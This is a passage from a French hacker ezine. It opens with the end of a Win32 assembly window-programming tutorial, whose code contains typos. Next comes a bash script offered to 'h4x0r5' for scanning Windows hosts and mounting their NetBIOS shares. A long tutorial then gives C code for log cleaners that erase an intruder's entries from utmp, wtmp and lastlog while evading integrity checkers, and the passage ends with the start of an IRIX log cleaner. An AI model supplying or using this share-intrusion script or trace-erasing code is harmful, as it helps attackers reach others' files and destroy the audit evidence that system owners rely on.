-de patience -de sommeil ( à ne pas négliger. Si si J'y tiens) Avant toutes choses, essayez de vous débarasser des concepts que vous appris en assembleur en mode réel. L'asm win32 suit des règles qui lui sont propres. Pour commencer, si on veut faire des programmes win32, il est nécessaire de déclarer et de disposer des fonctions et les strucures spécifiques à l'utilisation des directives Win32 . Ces fonctions sont contenues dans le fichier 'WIN32.INC' . Pour cela, copiez le fichier 'c:\tasm\examples\wap32\win32.inc' vers le répertoire 'c:\tasm\include\' On commence donc par la façon dont on déclare les fonctions. Ceci est exemple : extrn BeginPaint : PROC Faites attention à bien respecter la casse, car les programmes win32 y sont sensibles ! Pour appeler cette fonction , on fait : Call BeginPaint Je dois vous préciser qu'il y a deux types de caractères dans les programmes win32, ANSI et UNICODE . Pour utiliser des chaines du type ANSI , faites suivre les fonctions agissant sur les chaines par un A, et pour UNICODE, par un W . example : extrn TextOutA : PROC extrn GetWindowTextW : PROC Ensuite, il faut définir les types et strctures des données (Il serait nécessaire d'avoir une référence des API windows que vous pourrez trouver dans VisualC++ par exemple). Donc, on définit les strucures de la façon suivante: MSGSTRUCT struc msHWND UINT ? msMESSAGE UINT ? msWPARAM UINT ? msLPARAM UINT ? msTIME ULONG ? msPT ULONG 2 dup(?) MSGSTRUCT ends Il faut à présent définir les types de données: HDC equ
Les fonctions win32 nécessitent pour la majorité d'entre elles de recevoir des arguments . TASM 5.0 possède une fonction qui permet de le faire à la façon des langages de haut niveau : CALL FUNC, Parms Mais on peut qussi le faire manuellement PUSH long 0 PUSH long 0 PUSH long 0 PUSH offset Msg CALL GetMessage Bon c'est pas compliqué, on met les paramètres sur la pile dans l'ordre inverse à leur appel. Pour mieux saisir, regardez la façon dont se fait l'appel de cette fonction en langage C : GetMessage(&Msg, 0, 0, 0) ; Toutes les valeurs de retour des fonctions sont mises dans le registre EAX. Ici, la fonction GetMessage retourne un ZERO lorsqu'elle se termine . MessageLoop: PUSH long 0 PUSH long 0 PUSH long 0 PUSH offset Msg CALL GetMessage test eax,eax ; Doit on quitter la boucle ? jz short EndProgram ; Si oui, on quitte le programme push offset Msg CALL TranslateMessage push offset Msg CALL DispatchMessage jmp short MessageLoop EndProgram: push [Msg.wParam] Call ExitProcess ; Fin du programme Bon , là nous avons vu quelques briques de base en programmation Win32asm. Nous allons désormais voir comment construire nos programmes . La première chose à faire , et que vous devez déjà savoir, c'est de déclarer le type de processeur pour lequel est destiné le programme. .386 ou .486 ou encore .586 La différence est dans le fait que déclarer, par exemple, l'utilisation du processeur 486 vous permettra d'utiliser les instructions spécifiques au 486( et qui sont donc non disponibles sous le 386,. Logique non !! ) ; Les instructions du 386 sont en général largement suffisante. Ensuite , nous définissons le modèle de mémoire que l'on va utiliser. .MODEL FLAT, STDCALL Je vous parlerais des modèles mémoire dans un futur article. Bon maintenant, on peut mettre nos include. include WIN32.INC C'est ce qui permettra à l'éditeur de liens ( TLINK32 dans notre cas ) d'importer les fonctions et les structures qui nous interressent ( Je rappelle que lors d'une compilation, toutes les fonctions externes à notre code source sont 'liées et compilées' lors de l'édition de lien ) . Bon, continuons ! C'est au tour des variables et des constantes de prendre place dans notre programme . .data Titre db "Ceci est le titre de mon beau programme",0 Et le code ! ..code extrn ExitProcess: Proc extrn BeginPaint: Proc DEBUT : ; notre code end DEBUT ; fin du prog Pour les données, voici ce dont nous aurons besoin : Titre db "Titre de la fenetre",0 NonClasse db "Fenetre",0 Msg MSGSTRUCT ; La structure du message WC WNDCLASS ; La classe de la fenêtre hwnd dd ? ; Handle sur une fenêtre hInstance dd ? ; Handle sur une instance On démarre notre code par un appel à GetModuleHandle. Ca retourne un module, qui est l'équivalent de HINSTANCE . push long 0 CALL GetModulehandle mov [hInstance], eax ; On vient de récupérere l' instance. Une fois en possession de notre hInstance, on veut aussi avoir la classe . Un appel à RegClass et hop ! CALL RegClass En faisant une procedure , on aura un code un peu plus propre en ce qui concerne notre bloc WinMain . Regclass PROC mov eax, [hInstance] mov [WC.clsHInstance],eax mov [WC.clsStyle], 0 mov [WC.clsLpfnWndProc], offset WndProc mov [WC.clsCbClsExtra], 0 mov [WC.clsCbWndExtra], 0 push long IDI APPLICATION ; Charge l'icone push eax call LoadIcon mov [WC.clsHIcon], eax mov [WC.hIconSm],eax push long IDC_ARROW ; Charge le curseur push long 0 call LoadCursor mov [WC.clsHCursor], eax push long BLACK_BRUSH ;Un fond d'écran noir call GetStockObject mov [WC.clsHbrBackground],eax mov [WC.clsLpszMenuName], 0 mov [WC.clsLpszClassName], offset ClassName push offset WC call RegisterClass ; On enregistre notre fenêtre RET ENDP Nous devons à présent créer la fenêtre. call CreateWind ; Crée la fenêtre qu'on a précedemment définie. Ici aussi on peut faire une procedure séparée pour avoir un WinMain plus clair. CreateWind PROC push long 0 push [hInst] push long 0 push long 0 push long CW_USEDEFAULT push long CW_USEDEFAULT push long CW_USEDEFAULT push long CW_USEDEFAULT push long WS_OVERLAPPEDWINDOW ;Style de fenêtre se rafraichissant en cas de masquage push offset TitleName push offset ClassName push long 0 ; Les options suivantes concernent CreateWindowEx ; Il s'agit du type fenêtre étendue call CreateWindowEx ; Crée la fenêtre mov [hwnd], eax ; handle de la fenêtre parent retourné par CreateWindowEx RET ENDP Maintenant, on fait appel à ShowWindow et UpdateWindow push long SW_SHOW push [hwnd] call ShowWindow push [hwnd] call UpdateWindow Ceci va donc creer et afficher la fenêtre sur l'écran. N'oublions que nous sommes en programmation évenementielle et que l'on doit gérer la boucle des messages dans WinMain. Je me permet alors de faire un petit rappel sur la programmation evenementielle selon windows. On a une sorte de grosse boucle qui attend qu'on lui demande d'effectuer des actions tant que l'on ne lui ordonne pas de s'arrêter. En fait vous avez probablement déjà fait de la programmation evenementielle sans forcément le savoir. Mais , si, quand vous faites des menus à choix en mode texte. C'est du genre : Tant qu'on ne quitte pas faire : -si 'enregistrer' alors executer la fonction 'Save' -si 'charger' alors executer la fonction 'Load' -si 'imprimer' alors executer la fonction 'Print' -si 'patati patata alors etc, etc, etc............. -si 'quitter' alors executer la fonction 'Exit' Fin de la grosse boucle.(Le programme se termine). Ben pour windows c'est à peu près pareil Les actions sont saisies dans une structure MSG que voici struct MSG { HWND hWnd ; // Handle de la fenêtre UINT message ; // Id du message WPARAM wParam ; // Paramètre du message (32bits) LPARAM lParam ; // Paramètre du message DWORD time ; // Heure de mise en file d'attente POINT pt ; // Position de la souris } alors ça resssemble à ceci : Attent une entrée dans MSG : Si on a une entrée pour MSG, on la met dans la file d'attente Si message est QUIT, alors on sort du programme Sinon On Transforme le message en binaire via la fonction TranslateMessage(&MSG) Puis on execute notre message via la fonction DispatchMessage(&MSG) Fermeture de boucle . Et voilà , rien de bien sorcier ! Et en assembleur , ça nous donne ceci : MessageLoop : push long 0 push long 0 push long 0 push offset Msg call GetMessage ; Appel de la fonction GetMessage test eax,eax ; A t'on le message 'exit' jz short EndProgram ; si oui , on va à la fin du programme push offset Msg call TranslateMessage ; sinon, on traduit le message en binaire push offset Msg call DispatchMessage ; et on execute le message ! jmp short MessageLoop ; On continue notre manège jusqu'à plus soif ! EndProgram: ; Ca , c'est au cas ou on a plus soif justement ;-) push [Msg.wParam] call ExitProcess ; A tchao ! Comme vous avez pu le voir , ça ressemble bien au schéma général que je vais fait juste avant. Donc , au final, notre cher petit programme ressemble à ce qui suit : .486p .MODEL FLAT, STDCALL include WIN32.INC .DATA Msg MSGSTRUCT ; La structure Message WC WNDCLASS ; La classe Windows hwnd dd ? ; Handle de fenêtre hInstance dd ? ; Handle de l'Instance .CODE START : push long 0 call GetModule mov [hInstance], eax ;On prend l'instance call RegClass ; Enregistrement de la Class call CreateWind ; Création de la fenêtre push long SW_SHOWNORMAL push [hwnd] call ShowWindow ; Montre la fenêtre push [hwnd] call UpdateWindow ; Rafraichit la fenêtre MessageLoop: push long 0 pus long 0 push long 0 push offset Msg call GetMessage ; Appel de la fonction GetMessage text eax,eax ; Doit on sortir ? jz short EndProgram ; oui, alors on s'éclipse push offset Msg call TranslateMessage ; Non, on Traduit le message en binaire push offset Msg call DispatchMessage ; et on execute notre action jmp short MessageLoop ; Ce tant qu'on pas recu l'ordre de sortir EndProgram: ; On an choisi d'en finir push [Msg.wParam] call ExitProcess ; On a fini ;On est à la fin de WinMain Regclass PROC mov eax, [hInstance] mov [WC.clsHInstance],eax mov [WC.clsStyle], 0 mov [WC.clsLpfnWndProc], offset WndProc mov [WC.clsCbClsExtra], 0 mov [WC.clsCbWndExtra], 0 push long IDI APPLICATION ; Charge l'icone push eax call LoadIcon mov [WC.clsHIcon], eax mov [WC.hIconSm],eax push long IDC_ARROW ; Charge le curseur push long 0 call LoadCursor mov [WC.clsHCursor], eax push long BLACK_BRUSH ;Un fond d'écran noir call GetStockObject mov [WC.clsHbrBackground],eax mov [WC.clsLpszMenuName], 0 mov [WC.clsLpszClassName], offset ClassName push offset WC call RegisterClass ; On enregistre notre fenêtre RET ENDP CreateWind PROC push long 0 push [hInst] push long 0 push long 0 push long CW_USEDEFAULT push long CW_USEDEFAULT push long CW_USEDEFAULT push long CW_USEDEFAULT push long WS_OVERLAPPEDWINDOW ;Style de fenêtre se rafraichissant en cas de masquage push offset TitleName push offset ClassName push long 0 ; Les options suivantes concernent CreateWindowEx ; Il s'agit du type fenêtre étendue call CreateWindowEx ; Crée la fenêtre mov [hwnd], eax ; handle de la fenêtre parent retourné par CreateWindowEx RET ENDP END START ;Fin du fichier Vous pensez peut être qu'on en a fini , hein , Et bien non ! Il se peut que les appels call RegClass et call CreateWind renvoient une erreur, et ce parce que la fenêtre n'a pas été correctement enregistrée. Et bien il nous suffit de tester si eax est égal à 0, et si c'est le cas, de faire appel à ExitProcess avec 0 en paramètre. call RegClass text eax,eax ; on vérifie qu'il n'y a pas d'erreur jnz short NO_ERROR push long 0 call ExitProcess NO_ERROR: call CreateWind ; Crée la fenêtre test eax,eax ; On vérifie qu'il n'y a pas d'erreur jnz short WINDOW_CREATED push long 0 call ExitProcess WINDOW_CREATED: .... .... .... Et je suppose que vous vous dites , oui, c'est bien beau , on a crée une fenêtre , mais notre programme , il ne fait encore rien ! Ca vient , ça vient . La patience est une vertu qui s'offre à celui qui sait attendre. Et bien les actions que l'on va envoyer à notre fenêtre s'appellent des callbacks . Voici comment cela se fait : WndProc PROC USES ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:DWORD, lparam:DWORD ; vous placez le code ici ENDP Un tout piti exemple de code : mov eax, [Msg] cmp eax, WM_CREATE je W_CREATE push [lParam] push [wParam] push [Msg] push [hwnd] call DefWindowProc ; procedure par défaut RET W_CREATE: ; du code xor eax, eax RET Ah , j'allais oublier, pour compiler tout ça ! Vous trouverez avec TASM un makefile pour WAP32 (c'ad Windows application 32 bits) dans TASM\EXAMPLES\WAP32\MAKEFILE . Copiez le là ou se trouve le source de cotre programme changez la ligne NAME = WAP32 par NAME = Nomdevotreprogramme Plus loin, vous trouverez ceci : OBJS = $ (NAME) .obj DEF = $ (NAME).def et bien sous ces deux lignes vous pouvez ajouter des ressources si vous en disposez par la ligne suivante RES = $ (NAME) .RES A chaque fois , vous remplacer $ (name) par le nom de votre programme. N'oubliez pas que toutes les composantes doivent avoir le même nom. par exemple : toto.asm, toto.res, toto.rc, etc...) Vous copier WAP32.DEF dans le même répertoire que votre code source et vous le renommer en nomdevotreprogramme.def . Vous faites un MAKE -b ou un MAKE -b DEBUG (Pour avoir les informations de déboggage) Pour linker : tlink32 /Tpe /aa /c $ (LINKDEBUG) $ (OBJS), $ (NAME),, $ (IMPORT), $ (DEFS), $ (RES) Attention : ne mettez pas $ (RES) si vous n'avez de ressources [ Conclusion ] Voilà, ça y est, c'est fini ... On poursuivra la prochaine fois ! Disk-Lexic www.disk-lexic.fr.st ---------------------------------------------------------------------------------------------- V. Petit Script Utile MeiK ---------------------------------------------------------------------------------------------- Cet article est pour les 3l33t h4x0r5 qui h4x3n7 les W1nD0w5 Us3rs avec le fameux NetBIOS. Je ne vais pas refaire un article là dessus, pour ça, vous aurez qu'à regarder les articles des autres zines qui en parlent. Si vous êtes sur un système UNIX et que vous ne comprenez rien à SAMBA, j'ai fait ce petit script qui vous sera très utile. Vous aurez besoin de SAMBA et de NBTSCAN. Pour les pauv' trisomiques qui savent pas ce qu'est SAMBA, c'est un ensemble d'utilitaires qui permettent de partager des fichiers en réseau local et entre autres de voir, mounter et utiliser des ressources Windows. C'est le même principe que NetBIOS, mais en plus performant et moins buggé si vous voulez. NBTSCAN est un programme qui vous permet d'interroger le NetBIOS d'une machine Windows et d'obtenir son nom NetBIOS, son adresse MAC et son nom d'utilisateur. Ces deux programmes peuvent être trouvés sur freshmeat.net. Voici le script : <-- COUPEZ ICI --> #!/bin/bash echo -------------------------------------- echo NetBIOS Hack v1.0 par MeiK echo -------------------------------------- echo echo echo Entrez l'adresse IP: read IP nbtscan $IP echo echo Entrez le nom NetBIOS: read NAME smbclient -L $NAME -I $IP echo echo Entrez le nom du partage a monter: read SHARE smbmount //$NAME/$SHARE /mnt -o ip=$IP echo echo -------------------------------------- <-- COUPEZ ICI --> Voilà, et surtout, ne faîtes pas trop chier le monde avec ça !! ------------------------------------------------------------------------------------------------ A ceux qui seraient déçus ... MeiK ------------------------------------------------------------------------------------------------ J'écris cette lettre à ceux qui se demandent pourquoi je n'ai quasiment pas écrit pour ce numéro, et je ne vais pas y aller par mille chemins: Je suis impliqué dans d'autres choses que le groupe IOC, ce qui me demande quand même pas mal de temps. Une grande partie est en rapport direct avec mon site. D'ailleurs, si vous vous demandez pourquoi il n'y a quasiment rien dessus, c'est parce que je le re-ouvrirais quand je l'aurais entièrement terminé. Vous pourrez vous tenir au courant de l'évolution par le biais du site du groupe. Aussi, si je n'ai pas fait trop d'articles, c'est aussi à cause du manque de participation de vous, lecteurs. Si vous nous disiez le genre d'articles dont vous avez envie, on saurait ce qu'on doit écrire. Pour pallier à ce problème, j'ai décidé d'organiser mes articles sous forme de dossiers ; à chaque numéro (à partir du #4), mes articles seront sur le même thème. J'ai par exemple décidé qu'au #4 je parlerai uniquement de sécurité informatique pure et simple sous Linux: autrement dit, vous ne trouverez rien en rapport avec d'autres systèmes ou d'autres sujets. Voici les sujets que j'ai décidé d'aborder (liste non exhaustive et pas dans l'ordre): - Sécurité sous Linux { Introduction à Linux Fonctionnement de Linux Sécurisation Tests } - Fichiers Password { Structure Fonctionnement Cracking de passwds Tests de crackers } - Buffer Overflows { Programmation C Programmation ASM Bases systèmes Exploits Explications Exemples Exploitation } - Systèmes d'exploitation { Définitions Quelques systèmes d'exploitation Programmation d'OS avec le Flux OS Toolkit } - Denial of Service (DoS) { Définition Nuke Flood Vrai Plantage Protection } - Firewalls & IDS { Définitions Utilisation de IPChains ou IPTables Utilisation de LIDS Programmation de Firewall } Voilà, cette liste n'est pas exhaustive, et pas dans l'ordre. Je pense que pour couronner le tout, comme j'ai du le préciser dans chaque section, je mettrais une partie d'application des connaissances là ou j'expliquerai comment réaliser un outil en particulier. Par exemple, j'expliquerai comment programmer un cracker de pass, un firewall, un OS... sans donner de code source dans le magazine (faudra le télécharger à part). Voilà. ----------------------------------------------------------------------------------------- VI. Log Cleaners : Concepts et Programation Neofox ----------------------------------------------------------------------------------------- [ Introduction ] Dans ce article, nous allons aborder le fonctionnement d'un log cleaner classic et expliquer les différentes notions utiles à sa réalisation ; on verra ensuite des méthodes de nettoyage plus preformantes et les notions de C sur lesquelles elles s'appuient. ++++ | Partie I : Fonctionnement standard | ++++ => Concept de base => Les fonctions C => Illustration => Critiques [ Avertissement ] Je ne vais pas revenir ici sur le rôle de chaque fichier de log. En effet, d'une part le rôle de utmp/wtmp/lastlog est bien connu de tous, d'autre part, le nom, le rôle et la position des autres fichiers de log, varient en fonction de l'OS. Je ne vais pas non plus en rapeller le fonctionnement vu la simplicité de la chose. On passe donc directement à la suite. A. Le Concept : ________________ [ Comment un cleaner efface vos traces ] Nous allons nous concentrer sur le nettoyage de utmp, wtmp et lastlog. Vous vous connectez à une machine X, au compte "toto", depuis "source.com". Une entrée est donc ajoutée aux fichiers utmp qui a loggé votre présence, à wtmp qui enregistre les détails de la connection, et à lastlog. Alors, comment est-ce qu'un log cleaner efface vos traces ? Eh bien, en fait, tout dépend du log cleaner comme nous le verrons plustard, mais en règle générale, le prog commençe par ouvrir le un fichier, disons, utmp, puis il prend la première entrée et la plaçe dans une structure prédéfinie. Il compare alors le champ "name" de cette structure ; si ce champ ne correspond pas au nom d'utilisateur que vous avez entré en argument, c'est que l'entrée n'est pas celle que vous voulez effaçer. Dans ce cas, le prog vide la structure puis la remplit avec la seconde entrée du fichier. Il compare à nouveau le champ "user" et ainsi de suite. Si en revanche le champ "user" correspond, alors le prog en déduit que c'est l'entrée que vous voulez effaçer. Il bourre alors la structure avec des "0". Il crée ensuite un décalage en arrière dans le fichier wtmp en cours de lecture, de manière à se retrouver pile au début de l'entrée à effaçer. Il imprime ensuite le contenu de la structure ( des 00000 ) par dessus l'ancienne entrée révélant votre présence. Puis il referme le fichier. L'entrée que vous vouliez effaçer a donc été écrasée par une suite de "0", et le fichier en question ne contient plus traçe de votre présence. On récapitule pour que tout soit clair : ¤ ouverture du fichier en lecture/écriture. ¤ la premiere entrée est plaçée dans une structure. ¤ comparaison des champs de la structure avec les arguments. ¤ la structure est remplie de 0 si l'entrée est la bonne. ¤ décalage vers l'arrière dans le fichier ouvert. ¤ ecriture dans le fichier par dessus l'entrée originale. ¤ fermeture du fichier. [ Les commandes who et last ] Comme wtmp ne peuvent pas être lus directement, vous devez avoir recours à la commande "last" pour afficher la liste des dernières connections. Le mode de fonctionnement est le même pour les deux autres fichiers. La commande "who" ou "w" permet d'afficher le contenu de utmp ; de la même manière que pour wtmp, la suite de 0 recouvrant vos traces n'est pas prise en compte par "who" lors de l'affichage des entrées. Notez que dans le cas de wtmp, nous ne voulons pas effaçer toutes les connections de l'utilisateur "toto" mais seulement la dernière, celle correspondant à notre connection à ce compte. C'est donc uniquement la dernière entrée pour cet user qui devra être effaçée de wtmp. Nous allons voir les fonctions de C mises en oeuvre pour effectuer le "nettoyage". B. Programmation : __________________ Ouvrir un fichier en lecture/écriture, vous savez faire - avec la fonction open() et le flag O_RDWR - donc on ne vas pas s'y attarder plus longtemps. D'autres fonctions en revenche méritent quelques explications. [ Les structures ] Il y a deux types de structures à connaître pour comprendre la suite ; il s'agit de "utmp" et "lastlog". La première structure est utilisée à la fois pour traiter les entrées de utmp et celles de wtmp ; en effet, les champs de cette structure sont adaptés aussi bien pour les entrées du premier fichier que pour celles du second. La structure de type "lastlog" quant à elle, ben rien de spécial, sinon qu'elle sert à reçevoir les entrées de /var/log/lastlog. Voici un exemple simplifée de ces structures : struct utmp { char *ut_user; char *ut_host; char *ut_time; } struct lastlog { char *ll_host; } Les champs ut_user contiendront le nom d'user de la personne connectée, les champs ut_host/ll_host, le nom d'hôte de la machine cliente et ut_time, la date et l'heure de la connection. [ bzero() ] Le rôle de la fontction bzero() est de remplir un bloc d'octets de 0. Voici sa syntaxe : #include void bzero (void *pointeur, int n); bzero met a zero les n premiers octets pointés "pointeur". Le pointeur peut trés bien pointer vers une structure de type utmp par exemple, ce qui donnerait : int size; struct utmp u; size = sizeof(u); bzero (&u, size); Il y a cela dit une autre fonction capable d'assurer le même rôle : memeset(); [ memset() ] Comme bzero(), memset() peut remplir une structure de 0, mais aussi d'autres données de type int. Sa syntaxe : #include memset (void *s, int c, int n); Ici, memset() remplit les n premiers octets pointés par s, avec l'octet "n". De la même manière, on peut lui faire remplir une structure de "0". Prenons l'exemple d'une structure lastlog : int size; struct lastlog last; size = sizeof(last); memset(&last, 0, size); L'effet est le même que celui obtenu à l'aide de bzero(). [ lseek() ] La fonction read() vient de lire la première entrée d'un de nos trois fichiers de log, et l'a plaçée dans la structure appropriée. bzero() a rempli cette structure de 0. Nous voullons copier la suite de 0 par dessus l'ancienne entrée qui vient d'être lue. Il faut donc "rembobiner", reculer la "tête de lecure/écriture" au début de l'entrée conçernée. Voici la syntaxe de lseek() : #include #include lseek (int fd, int n, int flag); Ici, "fd" désigne le descripteur de fichier pointant sur le fichier ouvert en lecture/écriture ; "n" est la taille en octets du décalage que l'on souhaite créer ; enfin, "flag" désigne l'action à effectuer. Plusieurs types d'acction sont possibles : ¤ SEEK_SET => Place la tête de lecture/écriture à n octets à partir du début du fichier. ¤ SEEK_CUR => Avance la tête de lecture/écriture de n octets. ¤ SEEK_END => Place tête de lecture/écriture à la fin du fichier + n octets. Ces flags sont venus remplaçer les 3 anciens flags que voici : ¤ L_SET => Donne "n" comme la nouvelle position de la tête dans le fichier ( = SEEK_SET ). ¤ L_INCR => Incrémente la position courrante de n octets ( = SEEK_CUR ). ¤ L_XTND => Déplace la tête de n octets à partir de la fin du fichier, et peut de cette façon en augmenter la taille ( = SEEK_END ). Cela dit, nous utiliserons les nouveau flags ; nous n'en utiliseront même qu'un seul : SEEK_CUR. Ce dernier fait avançer la tête de lecutre/écriture de n octets. Seulement, comme nous l'avons précisé, nous voulons reculer dans le fichier. On va donc déplaçer la tête avec le flag SEEK_CUR de -n octets. [ write() ] Nous venons de reculer dans le fichier ouvert et la tête de lecture/écriture se trouve maintenant au début de l'entrée à effaçer. La structure dans laquelle a été plaçé l'entrée est remplie de 0. Nous voulons remplaçer l'entrée du fichier par la suite de 0, ce qui revient à écrire le contenu de la structure dans le fichier, par dessus l'entrée. On va utiliser write() ; sa syntaxe est la suivante : #include write (int fd, char *buf, size); "fd" est le descripteur de fichier et "buf" le buffer contenant les données de taille "size" à écrire en direction de fd. Dans notre cas, les données à écrire sont contenues dans la structure, ce qui va donner : int fd; struct utmp u; size = sizeof(u); write (fd, &u, size); Voila, l'entrée correspondant à votre connection est mainenant remplaçée par une suite de 0. Nous allons voir avec une petite illustration l'action respective de chaque commande. [ strcmp() et strncmp() ] La fonction strcmp() ( = "string compare" ) sert à comparer deux chaines de type char. Si ces 2 chaines sont égales, elle retourne 0. La fonction strncmp() quant à elle, a le même rôle si ce n'est qu'elle compare les "n" premiers octets de ces deux chaines. Certains cleaners utilisent la seconde, nous verrons plustard pourquoi. Ces fonctions sont simples et trés courantes, aussi les avez vous surement déja utilisées. Dans un souci d'exhaustivité, voici la syntaxe de strcmp() : #include strcmp(chaine1, chaine2); En cas d'erreur, cette fonction retourne -1 et si les chaines ne correspondent pas, c'est une valeur < 0 qui est renvoyée. On va donc gérer l'erreur : if(strcmp(chaine1, chaine2)!=0){ fprintf(stderr,"Les chaines ne sont pas égales !\n"); exit(1); } Les cleaners se servent de cette fonction pour comparer le champ ut_name de la structure utmp, avec le nom d'utilisateur dont vous voulez effaçer les traçes. Le nom en question est généralement entré en arguement : struct utmp u; if(strcpy(u.ut_name,argv[1])==0){ fprintf(stdout,"L'entrée lue dans la structure utmp est la bonne\n"); fprintf(stdout,"On l'effaçe!\n"); } C. Illustration : _________________ | v = la tête de lecture/écriture. A = l'entrée à effaçer. B = l'entrée suivante. | position de la tête au départ, structure vide. v Ouverture du fichier : AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB | la structure contient AAA... La première entrée est lue <_____lecture______>v et plaçée dans la strucutre : AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB | la structure contient maintenant 000... bzero remplit la structure V avec des 000000 : AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB | la tête est en position et la strucure contient toujours 000... On recule la tête v avec lseek() : AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB write() écrit le contenu | de la structure à la plaçe v de l'ancienne entrée : 00000000000000000000BBBBBBBBBBBBBBBBBBBBBBBB J'espère que vous avez à présent une idée claire de la manière dont un log cleaner standard gère les fichiers utmp/wtmp/lastlog. Mais nous allons voir, que cette méthode est perfectible. D. Critiques : ______________ [Zap2 zappé ] La méthode dont je viens de vous parler est celle de Zap2. On ouvre le fichier, on met la première entrée dans une structure, on cherche la bonne entrée, on bourre la structure de 0, on se décale, on copie le contenu de la structure, et on ferme le fichier. Simple, efficace, mais détectable ... En effet, si un vérificateur d'intégrité tourne sur la machine, celui-ci peut se baser sur la présence suspecte d'une chaine de zéros dans un fichier de log pour alerter de la présence d'un visisteur indésirable. Zap2 se fait vieux, d'autres ont pris la relève. - | Partie II : Nouvelle Méthode | - => Fonctionnement => Programmation A. Fonctionnement : ___________________ [ La relève ] Ils s'apellent vanish, cloack, ou hideme et sont plus performant que Zap2 sur deux points : d'une part, car ils traitent plus de fichiers ( prise en charge de utmpx/wtmpx, messages, maillog, secure, xferlog ) et d'autre part, car ils utilisent une méthode de nettoyage plus discrète comme nous allons le voir. Je voudrais préciser un détail avant d'aller plus loin : le fait que ces cleaners plus récents nettoyent plus de fichiers, est à la fois un point positif et négatif ; posifit car vos traces seront effaçées plus en profondeur, mais négatif puisque cela vous cantonne à un OS bien précis. Ils prennent en charge maillog et secure, super, c'est parfait pour linux ... mais si on se trouve sous IRIX, ça nous sert pas à grand'chose, vu que sous cet OS, il n'y a ni de fichier "secure" ni de "messages" d'ailleurs, les rôles de ces fichiers étant assurés par "SYSLOG". Si vous voulez utiliser un de ces cleaners sous un OS différent de celui pour lequel ils ont été pensés, vos traçes ne seront effaçées que de utmp/wtmp/lastlog, ce qui n'est déja pas si mal me direz vous ; cela reviendrait au même que d'utiliser Zap2, la méthode de nettoyage mise à part. Ce que j'essaye de vous dire avec plus ou moins de succès, c'est qu'il vaut mieux utiliser un log cleaner qui se limite à utmp/wtmp/ lastlog, lorsque vous êtes sur un système "exotique" pour lequel il n'y a pas de cleaner adapté, et nettoyer manuellement les autres fichiers spécifiques à cet OS. Wipeout est à mon avis un bon compromis entre polyvalence et qualité de nettoyage. [ L'idée ] Nous voulons que les fichiers de log ne contienne pas traçe de notre connection. En somme, aucune entrée ne nous derrange dans ces fichies à part la notre. Deux solutions : soit on supprime l'entrée en l'écrasant, soit on garde toutes les entrées sauf celle-ci. L'idée développée par les autres cleaners est donc de copier dans un fichier temporaire toutes les entrées d'un fichier de log mis à part là notre. Ce fichier temporaire ressemblera donc en tout point au vrai mais notre entrée n'y figurera pas. Il ne restera plus qu'à copier ce nouveau fichier par dessus l'original. [ En pratique ] Voici comment se déroule une session de "nettoyage" d'un fichier, disons "utmp" : Le prog. ouvre le fichier utmp en lecture ; il crée un fichier temporaire et l'ouvre en écriture. Il lit les entrée une par une depuis utmp. Il lit donc la première entrée et la plaçe dans une structure de type utmp. Il compare le champ ut_name ; s'il correspond au nom d'user que vous avez entré en argument, il compare alors le champ ut_host ; si ce champ correspond à l'hote que vous voulez effaçer, le prog sait qu'il est en présence de la bonne entrée ; dans ce cas, il ne la copie pas dans le fichier temporaire. En effet, seront sauvegardées dans le fichier temporaire toutes les entrées sauf la nôtre. Les deux fichiers sont ensuite refermés, puis le temporaire vient écraser l'original, l'entrée ciblée a donc disparu. En résumé : ¤ Ouverture de utmp en lecture. ¤ Création d'un fichier temporaire ouvert en écriture. ¤ Lectures des entrées depuis utmp dans une structure de type utmp. ¤ Comparaison du champ ut_name avec argv[1]. ¤ Compariason du champ ut_host avec argv[2]. ¤ Ecriture dans le fichier temporaire des entrées qui ne correspondent pas. ¤ Fermeture du fichier utmp et du temporaire. ¤ Remplaçement du fichier utmp par sa copie. Nous allons voir comment écrire cela. B. Programmation : __________________ On va aller beaucoup plus vite que dans la pratie 1/B, vu toutes les fontions nécessaires ici ont déja été étudiées plus haut. Nous allons voir ce qui se passe dans le cas du fichier utmp : On commençe par ouvrir le fichier de log tout en gérant l'erreur : size=sizeof(u); if((input=open(UTMP, O_RDONLY))<0){ fprintf(stderr,"Error during processing %s!/n",UTMP); close(input); exit(-1); } C'est ensuite au tour de la copie : if((output=creat(NEWUTMP, O_CREAT | O_WRONLY))<0){ fprintf(stderr,"Error during processing %s!/n",UTMP); close(input); exit(-1); } Nos deux fichiers sont donc ouverts, l'un en lecture, l'autre en écriture, sur deux descripteurs différents, respectivement input et output. On va donc lire les entrées depuis utmp, sur le descripteur d'entrée, et les plaçer dans la structure de type utmp, définie au préalable ; comme plus haut, on va utiliser read : while((read(input, &u, size))>0){ Voila, on compare donc la première entrée avec le nom d'utilisateur que vous voulez effaçer et avec le nom d'hôte : if(strncmp(u.ut_host,host,strlen(host))==0){ if(strncmp(u.ut_name,user,strlen(user))==0){ } } On referme directe les if() et on ne fait rien, car si les noms concordent, c'est qu'on tient l'entrée à effaçer ; comme on ne veut pas la garder, on ne la copie pas dans le fichier temporarie, cela va de soit. Sinon, c'est une entrée qui ne nous derrange pas, donc on la copie en direction du descripteur de sortie : else{ write(output,&u,size); } } } close(input); close(output); On referme les la boucle while() et les if() puis les descripteurs ; Il nous reste à écraser l'ancien fichier utmp avec le nouveau : unlink(UTMP); link(NEWUTMP,UTMP); chmod(UTMP,00644); unlink(NEWUTMP); Nos traçes sont à présent effaçes de utmp, sans avoir eus recours à bzero. Vous voyez que c'est une méthode assez simple. Notez que c'est l'équivalent en C de la commande "grep -v chaine old >> new" qui copie dans "new" toutes les entrées de "old" ne contenant pas à "chaine". Conclusion : ____________ A l'issue de cette article, vous savez désormais programmer un cleaner utilisant l'une ou l'autre méthode de nettoyage. Si toutefois vous avez des questions, des critiques ou des suggestions à me faire parvenir au sujet de ce texte, vous savez où m'écrire. ------------------------------------------------------------------------------------- VII. Getafix V1.0 Neofox ------------------------------------------------------------------------------------- [ Introduction ] Voici un log cleaner pour IRIX ; j'avais dans l'idée de lui trouve un nom rimant en 'x' et << get a fix >> s'est imposé de lui même ; ce nom doit être évocateur pour qui a saisit le jeu de mots. Comme toute version 1.0, celle-ci est tout à fait perfectible et je l'améliorerai surement dans quelques temps. [ Quelques explications ] ¤ Sous irix, /var/adm/lastlog n'est pas 